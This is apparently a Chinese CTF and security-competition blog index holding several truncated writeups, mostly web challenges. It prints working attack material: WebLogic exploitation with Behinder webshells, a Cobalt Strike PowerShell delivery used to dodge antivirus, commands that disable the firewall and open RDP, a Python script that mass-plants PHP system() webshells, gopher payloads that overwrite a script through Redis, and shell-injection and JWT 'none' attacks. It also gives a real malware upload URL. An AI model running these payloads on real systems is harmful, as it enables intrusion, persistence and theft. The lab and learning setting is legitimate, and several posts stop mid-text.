只能扫到.80，应该是.201有防火墙，那就从这台开始入手

重点放在服务上，会发现7001端口开了http。这个端口一般是weblogic，所以直接上工具（shack2/javaserializetools）

检查发现存在CVE2017，换个工具(sp4zcmd/WeblogicExploit-GUI)直接上冰蝎马

先确保能执行

然后直接上马。建议上完内存马再上一个webshell，因为实测起来内存马容易连不上

这里要注意冰蝎启动前先换到11或17，否则会出现连不上的情况（没有的话可以用apt install openjdk-17-dev安装）

这里我连webshell

成功上线

上来后选择虚拟终端先再命令执行页面执行whoami查看权限

目的是查看权限和确保马能正常使用。接着为了方便内网信息搜集，所以要上CS或者msf。这里我选择CS，但是如果直接上Beacon会被杀软干掉，所以我们要想办法绕过。一种办法是做免杀马，但比较麻烦，所以我们选择用CS的Web Drive-by绕

首先监听器是必须的，就不演示了

接着选择Attack->Web Drive-by->script web delivcery

点击Launch后会给你一段powershell的马，直接再冰蝎运行即可，等待十五秒左右就能上线

接着修改sleep，然后进行提权和内网信息搜集。

不过如果你想用msf内置的CVE拿meterpreter也是可以，只不过后面提权msf会遇到问题，还是得转到CS。如果你用的是msf，想转到CS，可以用下面的方法来

首先还是在CS弄好监听器，

接着将meterpreter放到background，接着按下面的步骤来设置

就能成功上线CS

内网横向

先提权，SVC即可

接着关防火墙，开3389

netsh firewall set opmode disable
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

接着扫目标，可以用portscan也可以用net view（查看域存活主机）。当然要是你想上fscan也可以，只不过有360所以被干掉的概率比较大

就能看到10段的内网靶机列表。不知道怎么进入这个列表去看第一场wp

当然，如果你想看是否有360，只需要点击下port scan下面的process list就可以看到

24-25下半学年第一次线下赛 | Writeup

Mon, 10 Mar 2025 00:00:00 +0800

取证赛道

计算机、U盘、APK、手机

2024数证杯初赛 - WXjzc - 博客园

服务器

服务器1

直接用md5sum算出即可：a2444b61b65be96fc2e65924dee8febd

服务器2

直接用strings就能梭出来

strings ubuntu-client-Snapshot2.vmem | grep ubuntu-client

服务器3

通过上一题可以发现两个接口/connect和/upload/

strings ubuntu-client command." loading="lazy" src="images/figure_task_3_1_hu8af2961df02ca5c37c710cdfcf461190_60701_e56754559befe02598bf6079339a7d31.webp">

尝试在GDB中运行ubuntu-client，但缺少libcrypto.so.1.1库

使用以下命令下载并编译缺失的库：

wget -c https://www.openssl.org/source/openssl-1.1.1s.tar.gz && \
tar xf openssl-1.1.1s.tar.gz && \
cd openssl-1.1.1s/ && \
./config --prefix="/usr/local/openssl" && \
make

使用环境变量LD_LIBRARY_PATH指定GDB查找依赖库的路径：

LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/home/michal/openssl-1.1.1s gdb ubuntu-client

使用GDB扩展peda来辅助分析，用info functions命令列出恶意软件使用的函数，注意到curl_easy_setopt@plt，这是一个用于建立curl连接的函数

在curl_easy_setopt函数上设置断点：

b curl_easy_setopt

开始调试：

run xGonnaGiveIt2Ya

就能发现地址

服务器4

根据上一题，可以直接得出：https://plankton-app-3qigq.ondigitalocean.app/upload/

服务器5

因为提供的内存转储文件无法被Volatility正确处理，所以要先确定生成转储文件的机器所使用的内核版本。

通过运行命令python3 vol.py -f ../ubuntu-client-Snapshot2.vmem banners，可以确定Ubuntu使用的内核版本是5.4.0-163-generic

接着使用这个仓库，并将其内容复制到volatility3/symbols/linux目录中，然后查找与执行命令ubuntu-client xGonnaGiveIt2Ya时间对应的.service文件

HKcert CTF 2024 final mini-ad | Writeup

Mon, 03 Mar 2025 00:00:00 +0800

全网第一篇wp^ ^（本来回来那天就该写了，拖延症硬是拖到现在……）

由于这题的阉割版被我放在线上赛，如果想直接看线上赛题解可以直接在目录里只看初步分析即可

目录结构&主要文件

docker-compose.yaml

拓补图如下

只有proxy和ssh分配到内网ip。proxy设计得很聪明，作用是防止反弹shell，只能通过上马直连的方式获取有限的命令执行，拿不到tty，而且也防止了安插诸如mitmproxy这类中间人流量监控，保证自己的流量不被别人监听

接着就来直接分析一下web的代码

初步分析

只有一个后端文件post.php，前端给了三个种选项。lev2是直接发消息并保存到messages，lev4是添加token鉴权，lev7是在token鉴权基础上使用qrcode编码消息。

全审一遍后会发现，除了file_put_content能直接写入东西外，危险函数只有两个include和一个shell_exec

所以入手的思路就有两种

通过lev2/4写shell.php，直接访问messages/shell.php或用post.php?name=shell.php&level=2
通过lev7做命令截断，例如message=;echo \'<?php system($_GET["cmd"])?>\' > messages/{name}.php

但因为是awd，所以要进一步来做防御和持久化

实况回忆

能进入到线下赛的队伍肯定和我们一样都是久经沙场的老手，比赛刚开始的时候一看awd，大家也都马上拿出预存的现成一句马批量种植脚本，很快拿到前几轮flag。所以前8轮大家都是差不多的重复播种一句马，从这之后才开始出现画风突变，什么不死马、隐身文件，甚至只在文章里见过的RSA加密马这次还真在实战里碰上了XD 别的题我不清楚，但每个队伍负责这道题的web手们可以说在别人家的靶机上偷flag偷得是相当欢乐🌚

在大概30轮左右的时候，其实大家在短时间内能想出来的招数也已经差不多都使完了，不过我在比赛之前就料想到可能会有awd这么一环，根据以往的经验，我便决定采取“敌先动我不动”的策略，除了最开始的一句马脚本在接着跑grep 'flag'以外，在批量脚本里我还加上一句cat *，开始到处搜刮其他人靶机上留下的马

所以接下来的木马升级，我的核心思想就是“你的马就是我的马”和“我读不到谁也别想读到”😈，~~让歪果仁见识一下熟读孙子兵法的中国民间黑客的石粒！~~

木马设计

先放上我最开始的一句马脚本，后面的脚本都是在这个框架的基础上做修改

import requests
import re
from concurrent.futures import ThreadPoolExecutor, as_completed
# 从 ip 文件中读取目标 IP 地址
def read_ips():
try:
with open("ip", "r") as file:
ips = file.read().splitlines()
return ips
except FileNotFoundError:
print("错误：未找到 ip 文件。请确保目标 IP 列表文件存在。")
return []
# 目标 URL 和参数
def get_target_url(ip):
return f"http://{ip}/post.php"
def get_file_url(ip):
return f"http://{ip}/messages/akared555.php"
PARAMS = {
"name": "akared555.php",
"message": "<?php system(\"grep -r 'MINIAD{' . && cat *\");?>",
"level": "2",
}
# 请求头
HEADERS = {
"Accept": "*/*",
"Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6,zh-HK;q=0.5",
"Cache-Control": "no-cache",
"Connection": "keep-alive",
"Content-Length": "0",
"Origin": "http://43.199.161.42",
"Pragma": "no-cache",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Edg/131.0.0.0",
}
def upload_file(target_url):
"""
上传文件到目标服务器
"""
try:
response = requests.post(
target_url,
params=PARAMS,
headers=HEADERS,
verify=False # 忽略 SSL 证书验证
)
return response.status_code == 200
except requests.RequestException:
return False
def check_flag(file_url):
"""
检查上传的文件内容是否包含以 MINIAD{ 开头的 flag
"""
try:
response = requests.get(file_url, headers=HEADERS, verify=False)
if response.status_code == 200:
content = response.text
# 使用正则表达式查找以 MINIAD{ 开头的 flag
flag_match = re.search(r"MINIAD\{.*?\}", content)
if flag_match:
print(f"找到 flag: {flag_match.group(0)}")
except requests.RequestException:
pass
def attack_ip(ip):
"""
对单个 IP 地址执行上传和检查操作
"""
target_url = get_target_url(ip)
file_url = get_file_url(ip)
if upload_file(target_url):
check_flag(file_url)
def main():
"""
主函数：并发检查所有 IP 地址
"""
ips = read_ips()
if not ips:
return
# 使用线程池并发处理
with ThreadPoolExecutor(max_workers=10) as executor:
while True:
futures = [executor.submit(attack_ip, ip) for ip in ips]
for future in as_completed(futures):
future.result() # 等待任务完成
if __name__ == "__main__":
main()

结构其实很简单，其实就是实现了最基本的上传和访问、获取功能

24-25下半学年第一次线上赛 | Writeup

Sun, 02 Mar 2025 00:00:00 +0800

MISC

签到

发现每个emoji的英文的首字母就代表了真实的字符

例如home->🏠->h，以此类推出hello ctf -> 🏠🦅🍋🍋🍊 🐈🌮🍟

Spa

根据提示可知，和斯巴达密码棒有关，搜索之后了解过后得知其实就是字符移位，也就是栅栏密码

搜索栅栏密码解密工具，通过不断测试栏数后就能得到答案

因为存在空格，个别在线工具可能解不出来，这里附上我使用的工具栅栏密码在线加密解密 - 千千秀字

CRYPTO

ezRsa

exp如下

from Crypto.Util.number import *
import gmpy2
n =
e = 65537
c =
def factor(n):
pq_list = []
a = gmpy2.iroot(n, 2)[0]
while 1:
B_2 = pow(a, 2) - n
if gmpy2.is_square(B_2):
b = gmpy2.iroot(B_2, 2)[0]
p1q1= a - b
p2q2 = a + b
pq_list.append([p1q1, p2q2])
if len(pq_list) == 2:
break
a += 1
return pq_list
pq_list = factor(n)
X1, Y1 = pq_list[0]
X2, Y2 = pq_list[1]
p1 = gmpy2.gcd(X1, X2)
q1 = gmpy2.gcd(Y1, Y2)
p2 = X2 // p1
q2 = Y2 // q1
phi = (p1 - 1)*(q1 - 1)*(p2 - 1)*(q2 - 1)
d = gmpy2.invert(e,phi)
m = pow(c,d,n)
flag = long_to_bytes(m)
print(flag)

WEB

打赏

详情见下一篇博客HKcert CTF 2024 final mini-ad | Writeup | Red的小屋

HTB CDNio | Writeup

Mon, 10 Feb 2025 00:00:00 +0800

可能是这题的全网第一篇简中wp（

分析

按照惯例，先找flag在哪

在数据库，并且在admin用户同一条记录下。再分析一下功能，主要就四个

根路由，查询输入的用户是否存在(app/blueprints/auth/routes.py)
/register，注册(app/blueprints/auth/routes.py)
/visit，分析功能后发现可以直接携带admin用户的token并请求任意路由(app/blueprints/bot/routes.py和app/utils/bot.py)
带有profile字样的任意路由或其他路由，输出保存在数据库里的详细数据(app/blueprints/main/routes.py)

其中第四个功能的路由比较特殊

@main_bp.route('/<path:subpath>', methods=['GET'])

意思就是什么uri他都吃，再分析下面具体的实现代码

if re.match(r'.*^profile', subpath): # Django perfection
...
...
else:
return jsonify({"error": "No match"}), 404

就可以得知，除了在其他代码里定义好的路由外，没有’profile’字样的uri最后都会被丢个No match

分析完功能，思路就很清晰了，应该就是想办法利用visit路由携带好的token去读profile。

但分析完后发现，虽然能请求profile，但上面这段代码很明显只能访问但不能回显携带的内容

所以要想个办法把请求的内容带出来。

我很少看题目附件里给的nginx配置文件，除非真的没有思路继续下去。而这题就正好是这种少数题目之一

看起来nginx在实现一种和CDN一样的效果，把前端访问过的静态文件存下来，如果在他的缓存路径里就直接读缓存，如果不在就把请求交给gunicorn做正常访问。

根据上面的分析也可以知道，很明显后端对/profile这个路由的访问处理并不是很严格，不管我访问什么稀奇古怪的路径，只要路径里带有profile就都会被判定为/profile。所以当我访问profile/1.css时，/profile的内容就会被缓存到profile/1.css里，我再正常地去访问profile/1.css就能够拿到/profile的内容。这种攻击方式被叫做缓存欺骗

实操

来看看具体题目，首先我想要访问/visit就需要有一个token。不过这个token是什么无所谓，只要有就行。所以需要先注册一个

接着拿去登陆，获取token（ip地址不一样别在意，就是拿平台靶场试的而已）

最后就可以拿去访问visit，出现下面字样说明访问成果

不过，完全一样的请求包也有可能在你访问后给你丢个invalid token，这种情况只要多发几次就行。原因不明，感觉像是HS256导致的某种神奇反应导致token间歇性不识别= =

最后正常访问即可

2025新年红包题 | Writeup

Fri, 31 Jan 2025 00:00:00 +0800

拿到网站后先发现标题有东西，拿来看看

在打开审查元素的时候也发现了一行注释

访问看看

虽然这不重要，但是这很重要

页面信息利用完，感觉没什么进展了，那就扫扫目录吧

访问一下

(可能有人这里会吐槽这跟log有什么关系，但是故意放log就是因为它在dirsearch默认字典里比较靠后，就能让那些扫没两秒就退出的人做不出来^ ^)

留下这个pass，然后访问一下给的hint，来到一个wordpress

发现文章都需要密码，所以开始搜集信息。随便点进一片看一下能不能查看用户名

发现已经被修改过了，那就只能想别的办法。因为是wordpress，所以用wpscan扫一下

发现两个用户名

拿出刚才log页面的pass，需要再解一下

拿dondondonki登陆即可，进来后直接来到文章区域，把每一篇文章都看过去一遍后就能，在“等等，嘶”这篇文章下面发现了这两句话

结合hint1的“ssh不需要爆破”这个提示，推断这个端口应该是ssh端口。那么接下来就是拼接密码的osint过程

首先来看第一张，映入眼帘应该是一张从酒店内往酒店门口拍摄的视角，仔细看一下就能发现这个

根据常识可以得知是香港行政区旗🇭🇰，并且人口为750w小于1000w，因此第一个字符为h

第二篇文章的图片内没有什么文字描述或者明显的特征，只有一些长相比较特殊的植物，所以google搜图随手搜索一下

知道了名字，就问问ai

并且通过图中远处小屋可以推测是木质结构，在中国广西和云南等地才比较常见，不在蜂斗菜适宜生长环境内，因此中国的可能性可以排除。且根据后方地形判断此处以丘陵（300m以下）为主，不符合日本、韩国以山脉为主的地理特征，因此日本韩国也排除。最后就只剩俄罗斯了，人口大于1000万，因此第二个字符为R

第三篇文章，题中唯一存在的文字信息就是石柱上的牌子，但是有点模糊，有些单字需要猜测

大概可以拼出个antonio anostinho neto，直接放到google里可以发现是个人名，Agostinho Neto

并且位于安哥拉，搜索后人口为3393w，字符为A

第四篇文章和第二篇一样可利用信息很少，唯一知道的就是一条又长又笔直的公路和路上的

在上述ai给的地区中，结合图片宽广笔直的道路场景，只有美国和加拿大比较符合特征。

并且这里还设计到一个地区交通小常识，如果你是做osint的新手可以记录下来。就是高速路上单黄虚线更多地出现在加拿大，关于这点的更多解释可以看这篇2022 idek CTF wp中的image13。简单来说，就是google上有关单黄虚线长笔直高速路的搜索结果更多地指向加拿大，少部分位于中国西北和美国北部。因此这篇文章字符为C

第五篇文章，算是比较经典图寻坐标了，就是路边的这个小路标

这里我给大家提供一张geoguessr社区大神们总结出来的路标图作为参考

明显图示路标出现区域为波兰，由于这个路桩的唯一性，因此可以直接推测为波兰。字符为P

第六篇文章应该能算送分题，应该很多人第一眼就猜出是日本。原因就是左上角的制粉店招牌。但其实这并不是能断定是日本的唯一要素，因为这样的繁体字招牌有可能存在东亚地区很多个地方。所以为了严谨一点，我们就按照图寻的玩法排一下。

首先排除中国大陆和香港、澳门，因为这三个地区一个是使用简体，另两个是不可能存在这么长一条路都是空旷低矮的房屋。其次是台湾，这时候就得把图片拉大看一下远处的车辆

会发现这台车牌是黄色的，而通过搜索会发现台湾车牌主要以白色为主

因此最后可以定位到日本，字符为J

最后一篇，首先就是拿这台白车的车牌作为一个大致方位定位

但先不急，还有第二张图。第二张图内容显示是个靠海的国家，并且使用法语，再根据第一张图中有摩托车、棕榈树，并且房屋都比较低矮的特征来看，所在地应该是某个欠发达地区的热带，那么最再结合法语的使用，结合历史常识推测最有可能的就是非洲。并且根据后面的提示可以知道，这个国家曾在20世纪60年代独立，那么范围就更近一步缩小。

先把上世纪60年代独立的国家拉出来问一下ai，有没有符合图述内容的地方

软件系统安全赛 CachedVisitor | Writeup

Mon, 06 Jan 2025 00:00:00 +0800

第一次参加这个比赛，本以为是pwn赛，结果没想到是web最无敌的一集（有点可惜没把厦大刷下来= =）

拿到附件先起一个本地服务来打。apple silicon要指定amd64

main.lua的主要逻辑就是将visit.script的代码执行。visit.script的主要逻辑是将输入进来的url地址用lua的curl模块访问。并且会将页面访问结果保存到redis中。思路很简单，就是想办法利用redis来保存一个文件将visit.script覆盖掉，覆盖掉的内容就是要执行的lua反弹shell或者命令执行。

首先要先了解一下redis的一些常用指令和小常识，这里只介绍本题需要用到的

keys * --查看所有键值对
get keyname --查看该键的值
save --将当前 Redis 所有数据保存到文件里。文件名和路径在下面两个命令可以修改
CONFIG SET dbfilename yourfilename.rdb --设置save的文件名
CONFIG SET dir /var/lib/redis --设置save的保存目录
QUIT --退出redis命令行。这个很重要，一会儿就会用到
rdbcompression yes --在附件里给的redis配置文件第461行，主要作用就是开启rdb存储压缩。redis有两种持久化方式，一种叫rdb一种叫aof，有兴趣可以自查。并且，redis所有配置信息都可以在终端中用config get keyname的方式获取到

尝试访问一下file:///etc/passwd可以得到passwd

进容器的redis验证一下有没有把访问内容存下来。发现确实存了下来。

因为redis支持使用gopher协议控制，所以直接先用下面的payload梭一把试试

gopher://localhost:6379/_*2%0D%0A$3%0D%0AGET%0D%0A$18%0D%0Afile:///etc/passwd%0D%0A

这个格式是用gopher访问redis固定的，*2表示这一行命令里有2个参数，$3，$18表示参数长度，并且最后一定要加一个CRLF的换行。厨子编码时要注意把全编码钩上，不然会不符合gopher协议规范（具体原因可以看这篇博客：https://redshome.top/2023/01/13/58/）。现在我们发一波试试。

可以发现换了个timeout回来，当时和队友在这儿卡了有一段时间，一直以为是我语句构造出了问题，以至于错过了前3血= =

直到队友拿着这段payload在命令行尝试直接curl后拿到了下面这样的结果

我便恍然大悟，问题就出在请求成功后没有退出redis终端，于是便搜到了上面所说的QUIT指令。接下来就是改造完的payload

gopher://localhost:6379/_%2A2%0D%0A%243%0D%0AGET%0D%0A%2418%0D%0Afile%3A%2F%2F%2Fetc%2Fpasswd%0D%0A%2A1%0D%0A%244%0D%0AQUIT%0D%0A%0D%0A

前后端均访问正常。最后再来测试一下save下来的数据长啥样

嘶，怎么感觉不太正常，好像存下来后和直接输出不太一样。这样可以不行，要是一会儿存下来的lua代码也变成这样那就执行不了了。当时队友“神之一手”一下就反应过来是压缩存储的问题，我们先把压缩存储关掉后再试一遍

无敌了，接下来就是走一遍最开始说的思路。首先是修改一下靶机的dbfilename,dir还有rdbcompression

*4
$6
config
$3
set
$3
dir
$8
/scripts
*4
$6
config
$3
set
$10
dbfilename
$12
visit.script
*4
$6
config
$3
set
$14
rdbcompression
$2
no
*1
$4
QUIT
gopher://localhost:6379/_%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%248%0D%0A%2Fscripts%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%2412%0D%0Avisit%2Escript%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2414%0D%0Ardbcompression%0D%0A%242%0D%0Ano%0D%0A%2A1%0D%0A%244%0D%0AQUIT%0D%0A%0D%0A

24-25上半学年第二次线上赛 | Writeup

Wed, 11 Dec 2024 00:00:00 +0800

一样是部分wp，其他题不会可以来群上问

misc

鲨鱼

不懂如何使用wireshark先去把提示里的链接看了

拿到附件后可以直接用foremost分离

分离出一个压缩包但是要密码，所以我们先进流量包看

进来后随机选择一个http包，跟踪tcp流，就开始把每条流量分析过去

在stream 7发现一串有jpg头的16进制数据

并且是jpg文件尾

复制到cyeberchef梭一下就能出来

拿图片里的密码去解压缩包即可

web

一些黑客技巧

diresearch可以扫到admin目录，发现需要登陆

回到首页搜集信息，怀疑用户名存在madeline

根据题目名称，密码猜测是123456（如果没猜出密码，因为也可以爆破）

成功登陆

进来后点控制台->外观->编辑当前外观，会发现可以对php文件插入代码

直接插入一句马，蚁剑上线即可

24-25上半学年第一次线上赛 | Writeup

Thu, 05 Dec 2024 00:00:00 +0800

Misc上课讲过就不写了= =好忙最近，如果有不会的再来群上问吧

触手可得

先看代码，首页只有这些，访问一下flag.php会发现没有内容，所以只能想办法利用下面的代码去拿到flag

很明显这里只要满足$key等于后面一大串就能拿到flag了，所以payload就是

你说上面那个什么md5是干嘛用的？你都知道这样问了，那当然是没用啦^ ^

时间管理大师

如果你是24届竞赛组成员，可以先看个代码分析的大概逻辑，不一定需要全看懂。

先看入口

这里的spl_autoload_register搜了一下其实就是注册路由，访问什么就进到什么目录下

下面的route其实就是定义访问根路径时使用的路由，这里直接定位到controllers/TimeController.php里看一下逻辑

传入进来的format被赋值给$format，并被丢到TimeModel里处理了一下，这里跟进一下TimeModel类。

可以看到$format被直接与date '+和' 2&1拼接，其中2>&1的意思是将标准错误重定向到标准输出中，意思就是会把这一串指令前的指令执行错误的结果也一并显示回来。然后在刚刚的Timecontroller.php里可以看到后面它被直接丢到exec里作为系统指令执行并接收结果，最后返回输出给我们。所以我们可以通过对$format做手脚从而达到命令执行的效果

这里我们假设传入进来的内容是 ';ls||，则整句代码会变成这样

date '+';ls|| 2>&1

这样执行起来的结果我们可以在自己的linux里尝试一下

会发现执行成功。但一开始我想到用 ';ls;这样的方式没有执行成功，提示权限不足，原因是因为闭合后2>&1在等待你的输入但没有得到，所以会提示权限不足。

还有另一种解法的payload是 ';ls|cat '，这样闭合后的结果如下

date '+';ls|cat '' 2>&1

原理就是将ls的输出用cat显示回来给我们，所以就能达到执行的效果

没有人比我更懂JWT

附件只有一个python文件，先看逻辑

使用flask框架，定义了secret_key，但是是随机值，应该没法爆破

并且只有下面两个路由

先来看一下/login

接收两个变量，username和password，其中username被丢到jwt里进行加密，使用HS256算法。最后将加密完的jwt返回给我们。其中包含了一个比较关键的信息，也就是role后跟着的内容，也就是role的值，我们先记住。

/flag路由里首先会接收请求这个路由的用户所携带的jwt，然后对其进行解码后检验role的值是否是admin，是的话返回flag，不是就告诉我们只有admin才能访问

如果只按照代码的登录逻辑，没有找到可以将role值改成admin的地方。所以我们就要手动改，先随便登录一个账号获取到jwt。因为password后面都没用到所以就不用传。这里注意要把content-type改成json，因为data = request.json

接着丢到jwt.io里，改成admin，然后复制被赋值完的jwt

接着我们回到刚刚的代码，注意到一个地方

这里的options被设置成了不需要验证签名和exp的值，也就是说我们可以将加密算法修改成None，这样就能达到修改了role值还能通过解码的目的。原理如下（原文点击这里查看）

这里我们需要借助一款工具，jwt_tool。下载后，可以在使用文档中查看如何使用None攻击

照着格式填进去就可以生成修改后的jwt了

这里我们选择哪一个都可以。最后我们再根据代码构造一个Authorization就可以啦。不过要注意，根据代码，需要先写上你的用户名，再用一个空格加上jwt。这里我的用户名是1，所以结果就如下

2024 强网杯 password game | Writeup

Tue, 05 Nov 2024 00:00:00 +0800

proxy那题是队友写的我就不记录了，不知道他后面会不会更新:https://blog.hayneschen.top/

主要想记录password game这题不听php课的每个人都会受到应有的惩罚

前面的游戏过程很简单，直接从拿到源码开始看

function filter($password){
$filter_arr = array("admin","2024qwb");
$filter = '/'.implode("|",$filter_arr).'/i';
return preg_replace($filter,"nonono",$password);
}
class guest{
public $username;
public $value;
public function __tostring(){
if($this->username=="guest"){
$value();
}
return $this->username;
}
public function __call($key,$value){
if($this->username==md5($GLOBALS["flag"])){
echo $GLOBALS["flag"];
}
}
}
class root{
public $username;
public $value;
public function __get($key){
if(strpos($this->username, "admin") == 0 && $this->value == "2024qwb"){
$this->value = $GLOBALS["flag"];
echo md5("hello:".$this->value);
}
}
}
class user{
public $username;
public $password;
public function __invoke(){
$this->username=md5($GLOBALS["flag"]);
return $this->password->guess();
}
public function __destruct(){
if(strpos($this->username, "admin") == 0 ){
echo "hello".$this->username;
}
}
}
$user=unserialize(filter($_POST['password']));
if(strpos($user->username, "admin") == 0 && $user->password == "2024qwb"){
echo "hello!";
}

比赛的时候乍一看感觉挺懵的，和传统的反序化掉用都不太一样，这里先不管反序化时的filter，先来看一下类

2024 TKKCTF Beginner | WriteUp

Wed, 23 Oct 2024 00:00:00 +0800

学CTF要做到不会的**多搜**，碰到不会的或者没见过的名词和工具，都能在网路上找到详细的解释和教程，不会一个搜一个。多去尝试自己解决遇到的问题，所有的答案都藏在你曾经也许看都不想看的代码、报错和技术文章里，加油

Misc

你好，CTF！

flag就在pdf末尾，不解释

阿娜达瓦～

使用gif逐帧播放可以发现二维码

扫描后即可得到flag

这是什么？

在cyberchef中先解base32再解base64即可

佛说：只能四天🙏

根据提示搜索与佛论禅在线解密工具

但发现无法解密，需要输入一个密码，回到题目描述注意到这一串内容

输入即可解开

引导题

尝试复制后发现需要密码

本题解法不唯一，这里介绍两种。

方法一：搜索在线解锁工具

解锁后即可直接复制被遮盖的内容。放到cyberchef里梭哈base64即可

方法二：如果你是macOS用户，右键搜索即可，不要点拷贝

一样放到base64解码即可

小泽

下载图片后使用010editor或者文本编辑器均可，拉到最下面就能发现flag

Up and Down

将文件下载下来后，可以找到在线工具将文件二进制进行反转，下面我演示linux命令的方式进行反转

一行命令即可，本意就是反转文件二进制数据。将输出的图片打开后即可得到flag

RFID

比赛原题，直接放网上的wp

https://blog.mo60.cn/index.php/archives/2023-fjss.html

乱乱的字符

统计每个字符出现的频率，可以拼出个大概flag。但可以发现有两个字符出现的频率都是7次，也就是A和i。此时回到题目提示

猜测是AsCii这个单词，而且这样排序的话正好两个i的出现频率加起来就是7次，符合条件，因此flag就是

xujc{Ukn0w_AsCii~}

void null() {}、Chiikawa

https://x.xn–q9jyb4c/p/ctf-record-w0w/

sharkshark

安装wireshark即可打开pcapng格式的流量包，ctrl+f4可以调出搜索框，选择分组字节流+字符串多次搜索xujc，可以在一堆假flag中找到flag24.txt为trueFlag

好痛

010打开后再中间发现mp3的模板结束了，可以发现后面是zip文件头

手工分离出来，分离时再尾部还可以发现一个key

(原本作者是让做题人根据歌名来猜key，被骂了改附件了qwq) 解压压缩包后那首歌是使用MP3Stego来解码因为歌名奇怪，作者建议先改成1.mp3，然后

在cmd使用

Decode -X -P love 1.mp3

就能得到flag

红包题第四期WP-答案竟在派蒙中

Sun, 22 Sep 2024 00:00:00 +0800

Misc-答案竟在派蒙中

解题过程：

FLAG1:

根据题目提示把派蒙拉开，全选后可以看到有白色字符被选中

更改颜色后是一串以等号结尾的编码

解码得到flag

FLAG2:

文档的内容可以确定没有挖掘的内容了，接下来对文件本身进行分析

可以用010editor工具进行分析结构

由于docx文件的本质其实是zip压缩文件，但504B0506（zip文件的结束标志）之后依然有数据可以判断文件后方被写入的隐写文件（出题人当时傻逼了忘了是怎么藏的来着，记成是放里面了）

kali的binwalk指令也可以得到一样的结果

可以在010中手动分离文件，也可以用foremost分离

(注意这种压缩包套娃的题binwalk -e有几率出现分不出来的情况所以这里用foremost)

分离后的压缩包解压得到小恐龙一只

这里可以用cat指令查看文件（同理010editor或者记事本打开也可以看到信息）

另一个以等号结尾的编码，根据特征判断是base32编码

解码后得到类flag格式的玩意

由于格式相近推测是凯撒移位加密枚举后得到flag

尾注：

关于base家族的特征和其它编码推荐一篇文章

https://cloud.tencent.com/developer/article/1748394

https://www.bilibili.com/video/BV1GJ411x7h7

CISCN 2019华北Day1 web1

Fri, 28 Jun 2024 00:00:00 +0800

一道很适合新手入门完整网站项目漏洞挖掘的题目，网上wp多半只讲了利用链和exp，我会从网站逻辑开始分析并写得尽量详细易懂，同样适合新手入门

复现靶场为nssctf，https://www.nssctf.cn/problem/2 搜题号应该也能搜到

文件获取

拿到页面后是个登录框，先注册一个账号登进去看看

进来后是个文件管理的界面

随便传个文件

这里就会涉及到一个任意文件读取的思路。一般一些制作并不是那么精良的网站都会直接使用文件名匹配的方式去读取文件内容从而达到下载的效果，所以我们点击下载的时候抓个包试一下看能不能通过修改文件名从而把原代码下载下来

成功读取。照着这个方法把几个已知页面的代码都读一遍

网站代码逻辑

因为代码比较多，所以这里我这里先介绍一下网站的主要实现逻辑

我的习惯是从主界面也就是index.php开始看调用，在index.php中可以发现下面这段

进入到class.php，查看一下Filelist类

class FileList {
private $files;
private $results;
private $funcs;
public function __construct($path) {
$this->files = array();
$this->results = array();
$this->funcs = array();
$filenames = scandir($path);
$key = array_search(".", $filenames);
unset($filenames[$key]);
$key = array_search("..", $filenames);
unset($filenames[$key]);
foreach ($filenames as $filename) {
$file = new File();
$file->open($path . $filename);
array_push($this->files, $file);
$this->results[$file->name()] = array();
}
}
public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}
public function __destruct() {
$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
$table .= '<thead><tr>';
foreach ($this->funcs as $func) {
$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
}
$table .= '<th scope="col" class="text-center">Opt</th>';
$table .= '</thead><tbody>';
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
$table .= '</tr>';
}
echo $table;
}
}

从构造函数开始，会发现这里传入了一个path形参

SECCON Beginners CTF 2024

Sun, 16 Jun 2024 00:00:00 +0800

打seccon的第一年，为了队友的日本旅行梦，跟他们爆了！

WEB

ssrforlfi

主要代码如下

import os
import re
import subprocess
from flask import Flask, request
app = Flask(__name__)
@app.route("/")
def ssrforlfi():
url = request.args.get("url")
if not url:
return "Welcome to Website Viewer.<br><code>?url=http://example.com/</code>"
# Allow only a-z, ", (, ), ., /, :, ;, <, >, @, |
if not re.match('^[a-z"()./:;<>@|]*$', url):
return "Invalid URL ;("
# SSRF & LFI protection
if url.startswith("http://") or url.startswith("https://"):
if "localhost" in url:
return "Detected SSRF ;("
elif url.startswith("file://"):
path = url[7:]
if os.path.exists(path) or ".." in path:
return "Detected LFI ;("
else:
# Block other schemes
return "Invalid Scheme ;("
try:
# RCE ?
proc = subprocess.run(
f"curl '{url}'",
capture_output=True,
shell=True,
text=True,
timeout=1,
)
except subprocess.TimeoutExpired:
return "Timeout ;("
if proc.returncode != 0:
return "Error ;("
return proc.stdout
if __name__ == "__main__":
app.run(debug=True, host="0.0.0.0", port=4989)

其实一开始看到这即过滤localhost又过滤file://的思路很容易被带着跑，就想着要怎么通过域名打ssrf。但是如果仔细看就会发现就算我现在有办法访问到127.0.0.1或者localhost也无济于事，根本不知道下一步要干嘛

2024 CISCN WP

Tue, 28 May 2024 00:00:00 +0800

simple_php

先看代码

<?php
ini_set('open_basedir', '/var/www/html/');
error_reporting(0);
if(isset($_POST['cmd'])){
$cmd = escapeshellcmd($_POST['cmd']);
